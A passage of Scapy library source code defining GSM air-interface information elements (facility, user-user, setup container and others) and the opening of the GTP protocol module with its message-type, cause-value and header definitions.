ByteField("facilityInfo113", None), ByteField("facilityInfo114", None), ByteField("facilityInfo115", None), ByteField("facilityInfo116", None), ByteField("facilityInfo117", None), ByteField("facilityInfo118", None), ByteField("facilityInfo119", None), ByteField("facilityInfo120", None), ByteField("facilityInfo121", None), ByteField("facilityInfo122", None), ByteField("facilityInfo123", None), ByteField("facilityInfo124", None), ByteField("facilityInfo125", None), ByteField("facilityInfo126", None), ByteField("facilityInfo127", None), ByteField("facilityInfo128", None), ByteField("facilityInfo129", None), ByteField("facilityInfo130", None), ByteField("facilityInfo131", None), ByteField("facilityInfo132", None), ByteField("facilityInfo133", None), ByteField("facilityInfo134", None), ByteField("facilityInfo135", None), ByteField("facilityInfo136", None), ByteField("facilityInfo137", None), ByteField("facilityInfo138", None), ByteField("facilityInfo139", None), ByteField("facilityInfo140", None), ByteField("facilityInfo141", None), ByteField("facilityInfo142", None), ByteField("facilityInfo143", None), ByteField("facilityInfo144", None), ByteField("facilityInfo145", None), ByteField("facilityInfo146", None), ByteField("facilityInfo147", None), ByteField("facilityInfo148", None), ByteField("facilityInfo149", None), ByteField("facilityInfo150", None), ByteField("facilityInfo151", None), ByteField("facilityInfo152", None), ByteField("facilityInfo153", None), ByteField("facilityInfo154", None), ByteField("facilityInfo155", None), ByteField("facilityInfo156", None), ByteField("facilityInfo157", None), ByteField("facilityInfo158", None), ByteField("facilityInfo159", None), ByteField("facilityInfo160", None), ByteField("facilityInfo161", None), ByteField("facilityInfo162", None), ByteField("facilityInfo163", None), ByteField("facilityInfo164", None), ByteField("facilityInfo165", None), ByteField("facilityInfo166", None), ByteField("facilityInfo167", None), ByteField("facilityInfo168", None), ByteField("facilityInfo169", None), ByteField("facilityInfo170", None), ByteField("facilityInfo171", None), ByteField("facilityInfo172", None), ByteField("facilityInfo173", None), ByteField("facilityInfo174", None), ByteField("facilityInfo175", None), ByteField("facilityInfo176", None), ByteField("facilityInfo177", None), ByteField("facilityInfo178", None), ByteField("facilityInfo179", None), ByteField("facilityInfo180", None), ByteField("facilityInfo181", None), ByteField("facilityInfo182", None), ByteField("facilityInfo183", None), ByteField("facilityInfo184", None), ByteField("facilityInfo185", None), ByteField("facilityInfo186", None), ByteField("facilityInfo187", None), ByteField("facilityInfo188", None), ByteField("facilityInfo189", None), ByteField("facilityInfo190", None), ByteField("facilityInfo191", None), ByteField("facilityInfo192", None), ByteField("facilityInfo193", None), ByteField("facilityInfo194", None), ByteField("facilityInfo195", None), ByteField("facilityInfo196", None), ByteField("facilityInfo197", None), ByteField("facilityInfo198", None), ByteField("facilityInfo199", None), ByteField("facilityInfo200", None), ByteField("facilityInfo201", None), ByteField("facilityInfo202", None), ByteField("facilityInfo203", None), ByteField("facilityInfo204", None), ByteField("facilityInfo205", None), ByteField("facilityInfo206", None), ByteField("facilityInfo207", None), ByteField("facilityInfo208", None), ByteField("facilityInfo209", None), ByteField("facilityInfo210", None), ByteField("facilityInfo211", None), ByteField("facilityInfo212", None), ByteField("facilityInfo213", None), ByteField("facilityInfo214", None), ByteField("facilityInfo215", None), ByteField("facilityInfo216", None), ByteField("facilityInfo217", None), ByteField("facilityInfo218", None), ByteField("facilityInfo219", None), ByteField("facilityInfo220", None), ByteField("facilityInfo221", None), ByteField("facilityInfo222", None), ByteField("facilityInfo223", None), ByteField("facilityInfo224", None), ByteField("facilityInfo225", None), ByteField("facilityInfo226", None), ByteField("facilityInfo227", None), ByteField("facilityInfo228", None), ByteField("facilityInfo229", None), ByteField("facilityInfo230", None), ByteField("facilityInfo231", None), ByteField("facilityInfo232", None), ByteField("facilityInfo233", None), ByteField("facilityInfo234", None), ByteField("facilityInfo235", None), ByteField("facilityInfo236", None), ByteField("facilityInfo237", None), ByteField("facilityInfo238", None), ByteField("facilityInfo239", None), ByteField("facilityInfo240", None), ByteField("facilityInfo241", None), ByteField("facilityInfo242", None), ByteField("facilityInfo243", None), ByteField("facilityInfo244", None), ByteField("facilityInfo245", None), ByteField("facilityInfo246", None), ByteField("facilityInfo247", None), ByteField("facilityInfo248", None), ByteField("facilityInfo249", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(7, 250, a, self.fields_desc, 1) if self.lengthF is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay #len 2 to 5 class HighLayerCompatibility(Packet): """High layer compatibility Section 10.5.4.16""" name = "High Layer Compatibility" fields_desc = [ XByteField("lengthHLC", None), # optional BitField("ext", None, 1), BitField("codingStd", None, 2), BitField("interpret", None, 3), BitField("presMeth", None, 2), BitField("ext1", None, 1), BitField("highLayerId", None, 7), ConditionalField(BitField("ext2", 0x1, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("exHiLayerId", 0x0, 7), lambda pkt: pkt.ext1 == 0), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 4, a, self.fields_desc, 1) if res[0] != 0: p = p[:-res[0]] if self.lengthHLC is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay # # 10.5.4.16.1 Static conditions for the high layer # compatibility IE contents # class KeypadFacility(Packet): """Keypad facility Section 10.5.4.17""" name = "Keypad Facility" fields_desc = [ BitField("spare", 0x0, 1), BitField("keyPadInfo", 0x0, 7) ] # len 2 to 15 class LowLayerCompatibility(Packet): """Low layer compatibility Section 10.5.4.18""" name = "Low Layer Compatibility" fields_desc = [ XByteField("lengthLLC", None), # optional ByteField("rest0", None), ByteField("rest1", None), ByteField("rest2", None), ByteField("rest3", None), ByteField("rest4", None), ByteField("rest5", None), ByteField("rest6", None), ByteField("rest7", None), ByteField("rest8", None), ByteField("rest9", None), ByteField("rest10", None), ByteField("rest11", None), ByteField("rest12", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 14, a, self.fields_desc, 1) if self.lengthLLC is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay class MoreData(Packet): """More data Section 10.5.4.19""" name = "More Data" fields_desc = [ ] class NotificationIndicator(Packet): """Notification indicator Section 10.5.4.20""" name = "Notification Indicator" fields_desc = [ BitField("ext1", 0x1, 1), BitField("notifDesc", 0x0, 7) ] class ProgressIndicator(Packet): """Progress indicator Section 10.5.4.21""" name = "Progress Indicator" fields_desc = [ XByteField("lengthPI", 0x2), BitField("ext", 0x1, 1), BitField("codingStd", 0x0, 2), BitField("spare", 0x0, 1), BitField("location", 0x0, 4), BitField("ext1", 0x1, 1), BitField("progressDesc", 0x0, 7) ] class RecallType(Packet): """Recall type $(CCBS)$ Section 10.5.4.21a""" name = "Recall Type $(CCBS)$" fields_desc = [ BitField("spare", 0x0, 5), BitField("recallType", 0x0, 3) ] # len 3 to 19 class RedirectingPartyBcdNumber(Packet): """Redirecting party BCD number Section 10.5.4.21b""" name = "Redirecting Party BCD Number" fields_desc = [ XByteField("lengthRPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("numberingPlan", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", 0x0, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", 0x0, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", 0x0, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), BitField("nbDigit22", None, 4), BitField("nbDigit21", None, 4), BitField("nbDigit24", None, 4), BitField("nbDigit23", None, 4), BitField("nbDigit26", None, 4), BitField("nbDigit25", None, 4), BitField("nbDigit28", None, 4), BitField("nbDigit27", None, 4), BitField("nbDigit30", None, 4), BitField("nbDigit29", None, 4), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 18, a, self.fields_desc, 1) if res[0] != 0: p = p[:-res[0]] if self.lengthRPBN is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay # length 2 to 23 class RedirectingPartySubaddress(Packet): """Redirecting party subaddress Section 10.5.4.21c""" name = "Redirecting Party BCD Number" fields_desc = [ XByteField("lengthRPS", None), # optional BitField("ext", None, 1), BitField("typeSub", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 22, a, self.fields_desc, 1) if self.lengthRPS is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay class RepeatIndicator(Packet): """Repeat indicator Section 10.5.4.22""" name = "Repeat Indicator" fields_desc = [ BitField("repeatIndic", 0x0, 4) ] # no upper length min 2(max for L3) (251) class SetupContainer(Packet): """SETUP Container $(CCBS)$ Section 10.5.4.22b""" name = "Setup Container $(CCBS)$" fields_desc = [ XByteField("lengthSC", None), # optional ByteField("mess1", None), ByteField("mess2", None), ByteField("mess3", None), ByteField("mess4", None), ByteField("mess5", None), ByteField("mess6", None), ByteField("mess7", None), ByteField("mess8", None), ByteField("mess9", None), ByteField("mess10", None), ByteField("mess11", None), ByteField("mess12", None), ByteField("mess13", None), ByteField("mess14", None), ByteField("mess15", None), ByteField("mess16", None), ByteField("mess17", None), ByteField("mess18", None), ByteField("mess19", None), ByteField("mess20", None), ByteField("mess21", None), ByteField("mess22", None), ByteField("mess23", None), ByteField("mess24", None), ByteField("mess25", None), ByteField("mess26", None), ByteField("mess27", None), ByteField("mess28", None), ByteField("mess29", None), ByteField("mess30", None), ByteField("mess31", None), ByteField("mess32", None), ByteField("mess33", None), ByteField("mess34", None), ByteField("mess35", None), ByteField("mess36", None), ByteField("mess37", None), ByteField("mess38", None), ByteField("mess39", None), ByteField("mess40", None), ByteField("mess41", None), ByteField("mess42", None), ByteField("mess43", None), ByteField("mess44", None), ByteField("mess45", None), ByteField("mess46", None), ByteField("mess47", None), ByteField("mess48", None), ByteField("mess49", None), ByteField("mess50", None), ByteField("mess51", None), ByteField("mess52", None), ByteField("mess53", None), ByteField("mess54", None), ByteField("mess55", None), ByteField("mess56", None), ByteField("mess57", None), ByteField("mess58", None), ByteField("mess59", None), ByteField("mess60", None), ByteField("mess61", None), ByteField("mess62", None), ByteField("mess63", None), ByteField("mess64", None), ByteField("mess65", None), ByteField("mess66", None), ByteField("mess67", None), ByteField("mess68", None), ByteField("mess69", None), ByteField("mess70", None), ByteField("mess71", None), ByteField("mess72", None), ByteField("mess73", None), ByteField("mess74", None), ByteField("mess75", None), ByteField("mess76", None), ByteField("mess77", None), ByteField("mess78", None), ByteField("mess79", None), ByteField("mess80", None), ByteField("mess81", None), ByteField("mess82", None), ByteField("mess83", None), ByteField("mess84", None), ByteField("mess85", None), ByteField("mess86", None), ByteField("mess87", None), ByteField("mess88", None), ByteField("mess89", None), ByteField("mess90", None), ByteField("mess91", None), ByteField("mess92", None), ByteField("mess93", None), ByteField("mess94", None), ByteField("mess95", None), ByteField("mess96", None), ByteField("mess97", None), ByteField("mess98", None), ByteField("mess99", None), ByteField("mess100", None), ByteField("mess101", None), ByteField("mess102", None), ByteField("mess103", None), ByteField("mess104", None), ByteField("mess105", None), ByteField("mess106", None), ByteField("mess107", None), ByteField("mess108", None), ByteField("mess109", None), ByteField("mess110", None), ByteField("mess111", None), ByteField("mess112", None), ByteField("mess113", None), ByteField("mess114", None), ByteField("mess115", None), ByteField("mess116", None), ByteField("mess117", None), ByteField("mess118", None), ByteField("mess119", None), ByteField("mess120", None), ByteField("mess121", None), ByteField("mess122", None), ByteField("mess123", None), ByteField("mess124", None), ByteField("mess125", None), ByteField("mess126", None), ByteField("mess127", None), ByteField("mess128", None), ByteField("mess129", None), ByteField("mess130", None), ByteField("mess131", None), ByteField("mess132", None), ByteField("mess133", None), ByteField("mess134", None), ByteField("mess135", None), ByteField("mess136", None), ByteField("mess137", None), ByteField("mess138", None), ByteField("mess139", None), ByteField("mess140", None), ByteField("mess141", None), ByteField("mess142", None), ByteField("mess143", None), ByteField("mess144", None), ByteField("mess145", None), ByteField("mess146", None), ByteField("mess147", None), ByteField("mess148", None), ByteField("mess149", None), ByteField("mess150", None), ByteField("mess151", None), ByteField("mess152", None), ByteField("mess153", None), ByteField("mess154", None), ByteField("mess155", None), ByteField("mess156", None), ByteField("mess157", None), ByteField("mess158", None), ByteField("mess159", None), ByteField("mess160", None), ByteField("mess161", None), ByteField("mess162", None), ByteField("mess163", None), ByteField("mess164", None), ByteField("mess165", None), ByteField("mess166", None), ByteField("mess167", None), ByteField("mess168", None), ByteField("mess169", None), ByteField("mess170", None), ByteField("mess171", None), ByteField("mess172", None), ByteField("mess173", None), ByteField("mess174", None), ByteField("mess175", None), ByteField("mess176", None), ByteField("mess177", None), ByteField("mess178", None), ByteField("mess179", None), ByteField("mess180", None), ByteField("mess181", None), ByteField("mess182", None), ByteField("mess183", None), ByteField("mess184", None), ByteField("mess185", None), ByteField("mess186", None), ByteField("mess187", None), ByteField("mess188", None), ByteField("mess189", None), ByteField("mess190", None), ByteField("mess191", None), ByteField("mess192", None), ByteField("mess193", None), ByteField("mess194", None), ByteField("mess195", None), ByteField("mess196", None), ByteField("mess197", None), ByteField("mess198", None), ByteField("mess199", None), ByteField("mess200", None), ByteField("mess201", None), ByteField("mess202", None), ByteField("mess203", None), ByteField("mess204", None), ByteField("mess205", None), ByteField("mess206", None), ByteField("mess207", None), ByteField("mess208", None), ByteField("mess209", None), ByteField("mess210", None), ByteField("mess211", None), ByteField("mess212", None), ByteField("mess213", None), ByteField("mess214", None), ByteField("mess215", None), ByteField("mess216", None), ByteField("mess217", None), ByteField("mess218", None), ByteField("mess219", None), ByteField("mess220", None), ByteField("mess221", None), ByteField("mess222", None), ByteField("mess223", None), ByteField("mess224", None), ByteField("mess225", None), ByteField("mess226", None), ByteField("mess227", None), ByteField("mess228", None), ByteField("mess229", None), ByteField("mess230", None), ByteField("mess231", None), ByteField("mess232", None), ByteField("mess233", None), ByteField("mess234", None), ByteField("mess235", None), ByteField("mess236", None), ByteField("mess237", None), ByteField("mess238", None), ByteField("mess239", None), ByteField("mess240", None), ByteField("mess241", None), ByteField("mess242", None), ByteField("mess243", None), ByteField("mess244", None), ByteField("mess245", None), ByteField("mess246", None), ByteField("mess247", None), ByteField("mess248", None), ByteField("mess249", None), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 250, a, self.fields_desc, 1) if self.lengthSC is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay class Signal(Packet): """Signal Section 10.5.4.23""" name = "Signal" fields_desc = [ ByteField("sigValue", 0x0) ] # length 2 to max for L3 message (251) class SsVersionIndicator(Packet): """SS Version Indicator Section 10.5.4.24""" name = "SS Version Indicator" fields_desc = [ XByteField("lengthSVI", None), # optional ByteField("info1", None), ByteField("info2", None), ByteField("info3", None), ByteField("info4", None), ByteField("info5", None), ByteField("info6", None), ByteField("info7", None), ByteField("info8", None), ByteField("info9", None), ByteField("info10", None), ByteField("info11", None), ByteField("info12", None), ByteField("info13", None), ByteField("info14", None), ByteField("info15", None), ByteField("info16", None), ByteField("info17", None), ByteField("info18", None), ByteField("info19", None), ByteField("info20", None), ByteField("info21", None), ByteField("info22", None), ByteField("info23", None), ByteField("info24", None), ByteField("info25", None), ByteField("info26", None), ByteField("info27", None), ByteField("info28", None), ByteField("info29", None), ByteField("info30", None), ByteField("info31", None), ByteField("info32", None), ByteField("info33", None), ByteField("info34", None), ByteField("info35", None), ByteField("info36", None), ByteField("info37", None), ByteField("info38", None), ByteField("info39", None), ByteField("info40", None), ByteField("info41", None), ByteField("info42", None), ByteField("info43", None), ByteField("info44", None), ByteField("info45", None), ByteField("info46", None), ByteField("info47", None), ByteField("info48", None), ByteField("info49", None), ByteField("info50", None), ByteField("info51", None), ByteField("info52", None), ByteField("info53", None), ByteField("info54", None), ByteField("info55", None), ByteField("info56", None), ByteField("info57", None), ByteField("info58", None), ByteField("info59", None), ByteField("info60", None), ByteField("info61", None), ByteField("info62", None), ByteField("info63", None), ByteField("info64", None), ByteField("info65", None), ByteField("info66", None), ByteField("info67", None), ByteField("info68", None), ByteField("info69", None), ByteField("info70", None), ByteField("info71", None), ByteField("info72", None), ByteField("info73", None), ByteField("info74", None), ByteField("info75", None), ByteField("info76", None), ByteField("info77", None), ByteField("info78", None), ByteField("info79", None), ByteField("info80", None), ByteField("info81", None), ByteField("info82", None), ByteField("info83", None), ByteField("info84", None), ByteField("info85", None), ByteField("info86", None), ByteField("info87", None), ByteField("info88", None), ByteField("info89", None), ByteField("info90", None), ByteField("info91", None), ByteField("info92", None), ByteField("info93", None), ByteField("info94", None), ByteField("info95", None), ByteField("info96", None), ByteField("info97", None), ByteField("info98", None), ByteField("info99", None), ByteField("info100", None), ByteField("info101", None), ByteField("info102", None), ByteField("info103", None), ByteField("info104", None), ByteField("info105", None), ByteField("info106", None), ByteField("info107", None), ByteField("info108", None), ByteField("info109", None), ByteField("info110", None), ByteField("info111", None), ByteField("info112", None), ByteField("info113", None), ByteField("info114", None), ByteField("info115", None), ByteField("info116", None), ByteField("info117", None), ByteField("info118", None), ByteField("info119", None), ByteField("info120", None), ByteField("info121", None), ByteField("info122", None), ByteField("info123", None), ByteField("info124", None), ByteField("info125", None), ByteField("info126", None), ByteField("info127", None), ByteField("info128", None), ByteField("info129", None), ByteField("info130", None), ByteField("info131", None), ByteField("info132", None), ByteField("info133", None), ByteField("info134", None), ByteField("info135", None), ByteField("info136", None), ByteField("info137", None), ByteField("info138", None), ByteField("info139", None), ByteField("info140", None), ByteField("info141", None), ByteField("info142", None), ByteField("info143", None), ByteField("info144", None), ByteField("info145", None), ByteField("info146", None), ByteField("info147", None), ByteField("info148", None), ByteField("info149", None), ByteField("info150", None), ByteField("info151", None), ByteField("info152", None), ByteField("info153", None), ByteField("info154", None), ByteField("info155", None), ByteField("info156", None), ByteField("info157", None), ByteField("info158", None), ByteField("info159", None), ByteField("info160", None), ByteField("info161", None), ByteField("info162", None), ByteField("info163", None), ByteField("info164", None), ByteField("info165", None), ByteField("info166", None), ByteField("info167", None), ByteField("info168", None), ByteField("info169", None), ByteField("info170", None), ByteField("info171", None), ByteField("info172", None), ByteField("info173", None), ByteField("info174", None), ByteField("info175", None), ByteField("info176", None), ByteField("info177", None), ByteField("info178", None), ByteField("info179", None), ByteField("info180", None), ByteField("info181", None), ByteField("info182", None), ByteField("info183", None), ByteField("info184", None), ByteField("info185", None), ByteField("info186", None), ByteField("info187", None), ByteField("info188", None), ByteField("info189", None), ByteField("info190", None), ByteField("info191", None), ByteField("info192", None), ByteField("info193", None), ByteField("info194", None), ByteField("info195", None), ByteField("info196", None), ByteField("info197", None), ByteField("info198", None), ByteField("info199", None), ByteField("info200", None), ByteField("info201", None), ByteField("info202", None), ByteField("info203", None), ByteField("info204", None), ByteField("info205", None), ByteField("info206", None), ByteField("info207", None), ByteField("info208", None), ByteField("info209", None), ByteField("info210", None), ByteField("info211", None), ByteField("info212", None), ByteField("info213", None), ByteField("info214", None), ByteField("info215", None), ByteField("info216", None), ByteField("info217", None), ByteField("info218", None), ByteField("info219", None), ByteField("info220", None), ByteField("info221", None), ByteField("info222", None), ByteField("info223", None), ByteField("info224", None), ByteField("info225", None), ByteField("info226", None), ByteField("info227", None), ByteField("info228", None), ByteField("info229", None), ByteField("info230", None), ByteField("info231", None), ByteField("info232", None), ByteField("info233", None), ByteField("info234", None), ByteField("info235", None), ByteField("info236", None), ByteField("info237", None), ByteField("info238", None), ByteField("info239", None), ByteField("info240", None), ByteField("info241", None), ByteField("info242", None), ByteField("info243", None), ByteField("info244", None), ByteField("info245", None), ByteField("info246", None), ByteField("info247", None), ByteField("info248", None), ByteField("info249", None), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 250, a, self.fields_desc, 1) if self.lengthSVI is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay # length 3 to 35 or 131 class UserUser(Packet): """User-user Section 10.5.4.25""" name = "User-User" fields_desc = [ XByteField("lengthUU", None), # dynamic length of field depending # of the type of message # let user decide which length he # wants to take # => more fuzzing options ByteField("userUserPD", 0x0), # optional ByteField("userUserInfo1", None), ByteField("userUserInfo2", None), ByteField("userUserInfo3", None), ByteField("userUserInfo4", None), ByteField("userUserInfo5", None), ByteField("userUserInfo6", None), ByteField("userUserInfo7", None), ByteField("userUserInfo8", None), ByteField("userUserInfo9", None), ByteField("userUserInfo10", None), ByteField("userUserInfo11", None), ByteField("userUserInfo12", None), ByteField("userUserInfo13", None), ByteField("userUserInfo14", None), ByteField("userUserInfo15", None), ByteField("userUserInfo16", None), ByteField("userUserInfo17", None), ByteField("userUserInfo18", None), ByteField("userUserInfo19", None), ByteField("userUserInfo20", None), ByteField("userUserInfo21", None), ByteField("userUserInfo22", None), ByteField("userUserInfo23", None), ByteField("userUserInfo24", None), ByteField("userUserInfo25", None), ByteField("userUserInfo26", None), ByteField("userUserInfo27", None), ByteField("userUserInfo28", None), ByteField("userUserInfo29", None), ByteField("userUserInfo30", None), ByteField("userUserInfo31", None), ByteField("userUserInfo32", None), # long packet ByteField("userUserInfo33", None), ByteField("userUserInfo34", None), ByteField("userUserInfo35", None), ByteField("userUserInfo36", None), ByteField("userUserInfo37", None), ByteField("userUserInfo38", None), ByteField("userUserInfo39", None), ByteField("userUserInfo40", None), ByteField("userUserInfo41", None), ByteField("userUserInfo42", None), ByteField("userUserInfo43", None), ByteField("userUserInfo44", None), ByteField("userUserInfo45", None), ByteField("userUserInfo46", None), ByteField("userUserInfo47", None), ByteField("userUserInfo48", None), ByteField("userUserInfo49", None), ByteField("userUserInfo50", None), ByteField("userUserInfo51", None), ByteField("userUserInfo52", None), ByteField("userUserInfo53", None), ByteField("userUserInfo54", None), ByteField("userUserInfo55", None), ByteField("userUserInfo56", None), ByteField("userUserInfo57", None), ByteField("userUserInfo58", None), ByteField("userUserInfo59", None), ByteField("userUserInfo60", None), ByteField("userUserInfo61", None), ByteField("userUserInfo62", None), ByteField("userUserInfo63", None), ByteField("userUserInfo64", None), ByteField("userUserInfo65", None), ByteField("userUserInfo66", None), ByteField("userUserInfo67", None), ByteField("userUserInfo68", None), ByteField("userUserInfo69", None), ByteField("userUserInfo70", None), ByteField("userUserInfo71", None), ByteField("userUserInfo72", None), ByteField("userUserInfo73", None), ByteField("userUserInfo74", None), ByteField("userUserInfo75", None), ByteField("userUserInfo76", None), ByteField("userUserInfo77", None), ByteField("userUserInfo78", None), ByteField("userUserInfo79", None), ByteField("userUserInfo80", None), ByteField("userUserInfo81", None), ByteField("userUserInfo82", None), ByteField("userUserInfo83", None), ByteField("userUserInfo84", None), ByteField("userUserInfo85", None), ByteField("userUserInfo86", None), ByteField("userUserInfo87", None), ByteField("userUserInfo88", None), ByteField("userUserInfo89", None), ByteField("userUserInfo90", None), ByteField("userUserInfo91", None), ByteField("userUserInfo92", None), ByteField("userUserInfo93", None), ByteField("userUserInfo94", None), ByteField("userUserInfo95", None), ByteField("userUserInfo96", None), ByteField("userUserInfo97", None), ByteField("userUserInfo98", None), ByteField("userUserInfo99", None), ByteField("userUserInfo100", None), ByteField("userUserInfo101", None), ByteField("userUserInfo102", None), ByteField("userUserInfo103", None), ByteField("userUserInfo104", None), ByteField("userUserInfo105", None), ByteField("userUserInfo106", None), ByteField("userUserInfo107", None), ByteField("userUserInfo108", None), ByteField("userUserInfo109", None), ByteField("userUserInfo110", None), ByteField("userUserInfo111", None), ByteField("userUserInfo112", None), ByteField("userUserInfo113", None), ByteField("userUserInfo114", None), ByteField("userUserInfo115", None), ByteField("userUserInfo116", None), ByteField("userUserInfo117", None), ByteField("userUserInfo118", None), ByteField("userUserInfo119", None), ByteField("userUserInfo120", None), ByteField("userUserInfo121", None), ByteField("userUserInfo122", None), ByteField("userUserInfo123", None), ByteField("userUserInfo124", None), ByteField("userUserInfo125", None), ByteField("userUserInfo126", None), ByteField("userUserInfo127", None), ByteField("userUserInfo128", None), ByteField("userUserInfo129", None), ByteField("userUserInfo130", None), ByteField("userUserInfo131", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 133, a, self.fields_desc, 1) if self.lengthUU is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay class AlertingPattern(Packet): """Alerting Pattern 10.5.4.26""" name = "Alerting Pattern" fields_desc = [ XByteField("lengthAP", 0x3), BitField("spare", 0x0, 4), BitField("alertingValue", 0x0, 4) ] class AllowedActions(Packet): """Allowed actions $(CCBS)$ Section 10.5.4.26""" name = "Allowed Actions $(CCBS)$" fields_desc = [ XByteField("lengthAP", 0x3), BitField("CCBS", 0x0, 1), BitField("spare", 0x0, 7) ] # # 10.5.5 GPRS mobility management information elements # class AttachType(Packet): """Attach type Section 10.5.5.2""" name = "Attach Type" fields_desc = [ BitField("spare", 0x0, 1), BitField("type", 0x1, 3) ] if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="Scapy GSM-UM (Air) Addon") scapy-2.3.3/scapy/contrib/gtp.py000066400000000000000000000523001300136037300165550ustar00rootroot00000000000000#! /usr/bin/env python ## Copyright (C) 2014 Guillaume Valadon ## 2014 Alexis Sultan ## 2012 ffranz ## ## This program is published under a GPLv2 license # scapy.contrib.description = GTP # scapy.contrib.status = loads import time import logging from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP, UDP # GTP Data types GTPmessageType = { 1: "echo_request", 2: "echo_response", 16: "create_pdp_context_req", 17: "create_pdp_context_res", 20: "delete_pdp_context_req", 21: "delete_pdp_context_res", 26: "error_indication", 27: "pdu_notification_req", 255: "gtp_u_header" } IEType = { 1: "Cause", 2: "IMSI", 3: "RAI", 4: "TLLI", 5: "P_TMSI", 14: "Recovery", 15: "SelectionMode", 16: "TEIDI", 17: "TEICP", 19: "TeardownInd", 20: "NSAPI", 26: "ChargingChrt", 27: "TraceReference", 28: "TraceType", 128: "EndUserAddress", 131: "AccessPointName", 132: "ProtocolConfigurationOptions", 133: "GSNAddress", 134: "MSInternationalNumber", 135: "QoS", 148: "CommonFlags", 151: "RatType", 152: "UserLocationInformation", 153: "MSTimeZone", 154: "IMEI" } CauseValues = { 0: "Request IMSI", 1: "Request IMEI", 2: "Request IMSI and IMEI", 3: "No identity needed", 4: "MS Refuses", 5: "MS is not GPRS Responding", 128: "Request accepted", 129: "New PDP type due to network preference", 130: "New PDP type due to single address bearer only", 192: "Non-existent", 193: "Invalid message format", 194: "IMSI not known", 195: "MS is GPRS Detached", 196: "MS is not GPRS Responding", 197: "MS Refuses", 198: "Version not supported", 199: "No resources available", 200: "Service not supported", 201: "Mandatory IE incorrect", 202: "Mandatory IE missing", 203: "Optional IE incorrect", 204: "System failure", 205: "Roaming restriction", 206: "P-TMSI Signature mismatch", 207: "GPRS connection suspended", 208: "Authentication failure", 209: "User authentication failed", 210: "Context not found", 211: "All dynamic PDP addresses are occupied", 212: "No memory is available", 213: "Reallocation failure", 214: "Unknown mandatory extension header", 215: "Semantic error in the TFT operation", 216: "Syntactic error in TFT operation", 217: "Semantic errors in packet filter(s)", 218: "Syntactic errors in packet filter(s)", 219: "Missing or unknown APN", 220: "Unknown PDP address or PDP type", 221: "PDP context without TFT already activated", 222: "APN access denied : no subscription", 223: "APN Restriction type incompatibility with currently active PDP Contexts", 224: "MS MBMS Capabilities Insufficient", 225: "Invalid Correlation : ID", 226: "MBMS Bearer Context Superseded", 227: "Bearer Control Mode violation", 228: "Collision with network initiated request" } Selection_Mode = { 11111100: "MS or APN", 11111101: "MS", 11111110: "NET", 11111111: "FutureUse" } TeardownInd_value = { 254: "False", 255: "True" } class TBCDByteField(StrFixedLenField): def i2h(self, pkt, val): ret = [] for v in val: byte = ord(v) left = byte >> 4 right = byte & 0xF if left == 0xF: ret += [ "%d" % right ] else: ret += [ "%d" % right, "%d" % left ] return "".join(ret) def i2repr(self, pkt, x): return repr(self.i2h(pkt,x)) def i2m(self, pkt, val): ret_string = "" for i in xrange(0, len(val), 2): tmp = val[i:i+2] if len(tmp) == 2: ret_string += chr(int(tmp[1] + tmp[0], 16)) else: ret_string += chr(int("F" + tmp[0], 16)) return ret_string class GTPHeader(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Header" fields_desc=[ BitField("version", 1, 3), BitField("PT", 1, 1), BitField("reserved", 0, 1), BitField("E", 0, 1), BitField("S", 1, 1), BitField("PN", 0, 1), ByteEnumField("gtp_type", None, GTPmessageType), ShortField("length", None), IntField("teid", 0) 